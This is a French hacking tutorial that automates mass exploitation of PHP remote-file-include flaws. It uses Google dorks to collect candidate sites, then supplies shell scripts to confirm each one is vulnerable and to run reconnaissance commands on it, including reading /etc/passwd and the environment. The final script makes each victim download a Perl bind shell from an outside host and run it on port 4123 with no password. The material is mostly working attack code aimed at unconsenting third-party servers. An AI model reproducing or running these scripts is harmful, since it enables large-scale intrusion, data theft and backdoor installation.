________________________________________________________________ ____ __ __
/ ___________________________________________________________ ____ __ _ / `
\ / \[22]/ + ,\_____ ___/ . `
|\/ , \__/ . \____ /:/=[ un affaire de google ] =\:\ _____/ ` x
|| , . " :X \_______________________________ ____ ____ / , ` `
|| + , () . x , . ` ' ` \_ \ ,\\_ +\_ \ 'M ` | .
|| ` | ` , ` , + , ` ,--, + . \\_ \_ \ , \\_ K -+-
/ |+ -+- . , ` , ,',/ ,'. \_ \ . \\_ \_ \ - | `
/ . | ; + + . ` | : . :`` ,_): ' ` \\_ \_ \ \\_` 1 ,
/ ` . . x , .-=+=- `. ,. ,' ` , \_ \ + \\_` \_ \ 1
/\_____ x ' , . . X | ` `--' ` ` \\_ \_ \ , \\_ 1 +
\\_ \___________________ , . . ` , + ' , , ; x ._\ \___\\___\ \ .
\_ \ \__________________________________/ \ ` ,
\\_ /:/=[ Aka: googleligeli googeligeli googeligeligeligeli ]=\:\ \
\__\__________________________________________ ______________________________ \`
\__\ /__/
\\_ /:/=[ loytie ]=\:\ _//
\__\________________________/__/
Exploitation avec google par script
L'idée de cette technique consiste à utiliser une recherche google avec des critères bien
définis pour obtenir une liste de sites vulnérables à une faille. Ce procédé ayant déjà été
utilisé par différents vers dont celui exploitant une faille phpbb récente, effaçant le site
et se propageant en effectuant une nouvelle recherche par google de site vulnérable à la même
faille.
Le but de ce texte n'est pas de montrer une des dernières failles à la mode mais explique une
manière simple pour construire des scripts afin d'exploiter rapidement une faille de type Web
et d'obtenir une liste de machine vulnérable. La suite consistant à utilisé les droits
obtenus par l'exploitation pour faire se que bon vous semble et dans le meilleur des cas, un
shell distant (le plus souvent sous l'id nobody).
L'idée vient du livre "Google Hacking for Penetration Testers" par Syngress, qui en présente
les bases.
L'exemple qui suit présente la façon d'obtenir par google, une liste de sites susceptibles
d'être vulnérables à la faille php include. Cette vielle faille est simple à comprendre et
est toujours d'actualité quand toutes les conditions sont réunies. Suite à cette recherche,
la seconde étape consiste à vérifier que la machine est bien vulnérable. Et pour finir, la
dernière étape permet d'exploiter la faille et obtenir un shell distant.
Les différents scripts sont écrit en Shell, utilise le navigateur lynx, le téléchargeur wget,
les commandes de formatage awk et sed ainsi que les commandes unix de base et les principes
de programmation shell. Les scripts ne sont pas forcement optimal, le but de l'exercice
servant d'exemple.
Tous les codes sont disponibles sur: http://membres.lycos.fr/loytietoo/
La faille php include
La faille php include vient d'une erreur de programmation d'une page PHP, utilisant la
fonction include pour intégrer au code une autre page du site. Dans notre cas, la fonction
include utilise un argument passé par l'url pour connaître la page à inclure.
exemple : http://www.exemple.xom?page=liens.php
En modifiant cet argument, il est possible d'inclure une autre page ou un fichier distant ou
non.
exemple 1 : http://www.exemple.xom?page=../../etc/passwd
exemple 2 : http://www.exemple.xom?page=http://www.google.com
exemple 3 : http://www.exemple.xom?page=http://www.monsite.com/code.txt
Dans cet exemple, on s'intéresse à l'exemple 3.
Sans rentrer dans les détails, il faut que toutes les conditions nécessaires soit réunis pour
que cela fonctionne, cad que toutes les configs soient mauvaises : programmation php, config
php, config apache, config système.
Pour plus d'info sur la faille include : google.
L'exemple 3 permet d'inclure le fichier distant code .txt contenant du code php. Ce code est
inséré par include à celui du site www.exemple.com et exécuté par php. Le format txt est
justifié par le fait qu'il ne sera pas interprété par le site distant www.monsite.com (si php
interprété).
exemple de code.txt :
system("uname -a > /tmp/.null");
$lines=file("/tmp/.null");
foreach ($lines as $line) {
echo $line . "
\n";
}
?>
PHP exécute la commande uname -a sur le système, copy la réponse dans /tmp/.null. Ensuite il
ouvre le fichier /tmp/.null et ajoute chaque ligne du fichier à la page html qu'il génère en
y ajoutant un saut de ligne
.
La commande est simple, il est possible dés a présent d'ouvrir un shell en modifiant la
commande, soit en téléchargeant un script shell distant par la commande wget ou bien
directement par nc.
La recherche google
Rechercher une liste de site susceptible d'être vulnérable à cette faille consiste à utiliser
l'argument "inurl" de google en indiquant la variable d'inclusion du site www.exemple.com
ainsi que le nom de la page incluse.
exemples :
inurl:?page=liens.php
inurl:?p=acceuil.php3
inurl:?include=start.html
Script de scan google
Le but du script est de vérifier que les réponses que renvois google respectent les critères
donnés, cad que l'url est au bon format. Google permet d'afficher que 100 réponses à la
fois, le script va automatiser le scan de toutes les url page par page. Pour finir, toutes
les urls répondant au format sont enregistré dans un fichier.
Toutes les recherches sur google sont faites par lynx et enregistré par l'argument dump.
#!/bin/sh
# vérifier les arguments
if [ $# -ne 2 ]; then
echo "Include scan v0.3"
echo
echo "Usage: scan.sh "
echo
echo "example : http://www.example.com?page=index.php"
echo " = page"
echo " = index.php"
echo
exit 0
fi
# copier les arguments
VAR=$1
SEARCH=$2;
echo "search -> $VAR=$SEARCH"
# initialiser la recherche, 100 réponses à la fois (GNUM) à partir de 0 (GSTART)
GNUM=100
GSTART=0
rm -f list.txt .search.html
# rechercher le nombre de réponse total de google (COUNT)
# info : le nombre se trouve sur la ligne contenant about
set -- `lynx -dump "http://www.google.com/search?q=inurl%3A%3F$VAR=$SEARCH&num=1" | \
awk '/about/ { printf("%s", $8) }' | sed -e 's/,//g'`
COUNT=$1
echo "count -> $COUNT"
echo
# tant que réponse total non ateint
while [ "$GSTART" -le "$COUNT" ] ; do
echo "list -> $GSTART of $COUNT"
# enregistrer la page de recherche google dans .search.html
lynx -dump "http://www.google.com/search?q=inurl%3A%3F$VAR=$SEARCH&num=$GNUM&start=$GSTART" > .search.html
# vérifier chaque url de la reherche
# enregistrer si respecte format
sed -n "s/\. http:\/\/.*"$VAR"="$SEARCH"/& /p" .search.html | awk '{print $2}' >> list.txt
# incrementer la recherche
let GSTART=$GSTART+$GNUM;
done
# fin
rm .search.html
echo
echo "output list -> list.txt"
Script de vérification des sites vulnérables
Maintenant que l'on possède la liste des sites référencés par google et successible d'être
exploitable par la faille include, le script suivant va tester chaque url en essayant
d'inclure le fichier code.txt.
Le fichier code.txt se contente d'afficher le mot "machtard" sur la page retournée. Le script
vérifie si la page contient ce mot et en déduit dans le cas positif que le site est
vulnérable. Au préalable, il faut créer le fichier code.txt sur un autre site.
code.txt :
system("echo machtard > /tmp/.null2");
$lines=file("/tmp/.null2");
foreach ($lines as $line) {
$line = str_replace("\$", "", $line);
$line = str_replace("\<\?", "", $line);
echo $line . "
\n";
}
?>
script :
#!/bin/sh
# vérifier les arguments
if [ $# -ne 2 ]; then
echo "Include scan v0.3"
echo
echo "Usage: test.sh "
echo
echo "example : http://www.example.com?page=index.php"
echo " = page"
echo " = index.php"
echo
exit 0
fi
# cpier les arguments
VAR=$1
SEARCH=$2
echo "search -> $VAR=$SEARCH"
echo
# initialiser le scan
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code.txt"
rm -f vulnerable.txt
# pour chaque url du fichier
cat list.txt | while read line ; do
# modifier l'url en ajoutant code.txt
set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
SITE=$1
# demander la page
lynx -dump $SITE > .site.html
# rechercher machtard dans la page
set -- `cat .site.html | grep machtard | grep -v echo | awk '/machtard/ { printf("OK\n") }'`
# si vulnérable, enregister l'url
if [ "$1" = "OK" ]; then
echo "[+] $line"
echo $line >> vulnerable.txt
else
echo "[-] $line"
fi
done
# fin
rm -f .site.html
Script de demande d'information
Maintenant que l'on possède une liste de site vulnérable, il est possible d’exploiter
directement les cibles en récupérant des informations complémentaires grâce à des commandes
unix exécutées depuis le code PHP.
commandes :
uname -a
uptime
hostname
pwd
id
echo $PATH
cat /etc/passwd
ifconfig
cat /etc/resolv.conf
netstat -l
netstat -r
ps -auxf
lspci
lsmod
env
Pour chaque commande, on insère le résultat dans un fichier, que l'on affiche sur la page
résultante de la même façon que le script précédent. De plus on inclue au code html, une
balise spécial afin de la reconnaître les informations qui nous intéressent dans le code html
complet retourné. Les informations sont ajoutées dans un fichier dédié pour en garder une
trace. Le fichier est copier dans un repertoire "hosts", il faut le créer au préalable.
code2.txt :
system("echo > /tmp/.null2");
system("echo; uname -a >> /tmp/.null2");
system("echo; uptime >> /tmp/.null2");
system("echo; hostname >> /tmp/.null2");
system("echo; pwd >> /tmp/.null2");
system("echo; id >> /tmp/.null2");
system("echo; echo \$PATH >> /tmp/.null2");
system("echo; cat /etc/passwd | grep sh >> /tmp/.null2");
system("echo; ifconfig >> /tmp/.null2");
system("echo; cat /etc/resolv.conf >> /tmp/.null2");
system("echo; netstat -l >> /tmp/.null2");
system("echo; netstat -r >> /tmp/.null2");
system("echo; ps -auxf >> /tmp/.null2");
system("echo; lspci >> /tmp/.null2");
system("echo; lsmod >> /tmp/.null2");
system("echo; env >> /tmp/.null2");
$lines=file("/tmp/.null2");
foreach ($lines as $line) {
$line = str_replace("\$", "", $line);
$line = str_replace("\<\?", "", $line);
echo $line;
}
?>
script :
#!/bin/sh
# vérifier les arguments
if [ $# -ne 2 ]; then
echo "Include scan v0.3"
echo
echo "Usage: exploit.sh "
echo
echo "example : http://www.example.com?page=index.php"
echo " = page"
echo " = index.php"
echo
exit 0
fi
# enregistrer les arguments
VAR=$1
SEARCH=$2;
echo "search -> $VAR=$SEARCH"
echo
# initialiser le script
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code2.txt"
# pour chaque url
cat vulnerable.txt | while read line ; do
# recupérer le nom de domaine
set -- `echo $line | awk -F "/" '{ print $3 }';`
HOSTNAME=$1
# modifier l'url en ajoutant code.txt
set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
SITE=$1
# récupérer la page
wget $SITE -O .site.html 2&> /dev/null
# init
find=0
# scanner la page
cat .site.html | while read line2 ; do
# si pas encore d'information
# vérifier si la ligne contient la balise de départ
if [ $find = "0" ]; then
set -- `echo $line2 | awk '// { printf("OK\n") }'`
# si balise alors début d'information
if [ "$1" = "OK" ]; then
find=1
echo $line > .info
echo >> .info
echo hostname "-> $HOSTNAME"
fi
# si des informations
# vefifier si balise de fin
# sinon, enregistrer les informations
else
set -- `echo $line2 | awk '/<\/loytie>/ { printf("OK\n") }'`
if [ "$1" = "OK" ]; then
find=0
fi
if [ "$find" = "1" ]; then
echo $line2 >> .info
fi
fi
done
# enregistrer les informations
cat .info >> hosts/$HOSTNAME
# fin
rm -f .site.html .info
done
Script pour obtenir un shell
Maintenant que nous disposons d'informations sur les cibles, il est possible de les utiliser
pour compromettre les systèmes avec des attaques complémentaires... Cependant, il est
intéressant de disposer d'un shell plutôt que d'utiliser la méthode script par page web.
Un exemple simple consiste à faire télécharger par la cible un programme shell distant,
l'exécuter et pour finalement se connecter dessus. J'utilise personnellement le script
suivant : http://membres.lycos.fr/loytietoo/telnet.pl. Le script exécute un shell sur le port
4123 sans mot de passe, il suffit de se connecter dessus en telnet.
telnet www.exemeple.com 4123
code3.txt :
system("mkdir /tmp/.kernel");
system("wget http://membres.lycos.fr/loytietoo/telnet.pl -P /tmp/.kernel/");
system("/usr/bin/perl /tmp/.kernel/telnet.pl");
?>
script :
#!/bin/sh
# vérifier les arguments
if [ $# -ne 3 ]; then
echo "Include scan v0.3"
echo
echo "Usage: telnet.sh "
echo
echo "example : www.example.com?page=index.php"
echo " = page"
echo " = index.php"
echo " = hosts/www.example.com"
echo
exit 0
fi
# copier les arguiments
VAR=$1
SEARCH=$2;
FILE=$3
echo
# initialiser
VALUE="http:\/\/membres.lycos.fr\/loytietoo\/code3.txt"
# lire la premiere ligne du fichier d'information
read line < $FILE
# recuperer le domaine
set -- `echo $line | awk -F "/" '{ print $3 }';`
HOSTNAME=$1
echo $HOSTNAME
# modifier l'url
set -- `echo $line | sed -e "s/"$VAR"="$SEARCH"/"$VAR"="$VALUE"/g";`
SITE=$1
# recuperer la page
wget $SITE -T 15 -O .site.html 2&> /dev/null
rm -f .site.html
# telnet
telnet $HOSTNAME 4123
Conclusion
En espérant que cet exemple soit compréhensible et intéressant.
Tous les codes sont disponibles sur: http://membres.lycos.fr/loytietoo/
Cet exemple n'expose pas toutes les conditions nécessaires pour que cela fonctionne. En
effet, il serait judicieux de rajouter des conditions aux scripts afin de s'adapter à tous
types d'architectures Unix.
exemple 1 : le rep /tmp est il ecrivable et executable ? dans le cas contraire
les scripts ne fonctionne pas
exemple 2 : l'ip est tel derriere un NAT ? dans ce cas il faut faire un reverse
telnet
...
Je suis persuadé que la base google est une bonne approche à la recherche de vulnérabilités.
Le site http://johnny.ihackstuff.com/ contient une base de donnée très intéressante sur les
recherches d'informations sur Google.
L'exemple montre aussi la puissance du shell unix pour l'automatisation de processus. De
toute façon, personne ne fait de hack sous windows (troll mdr).
Je suis ouvert à toutes suggestions ou corrections.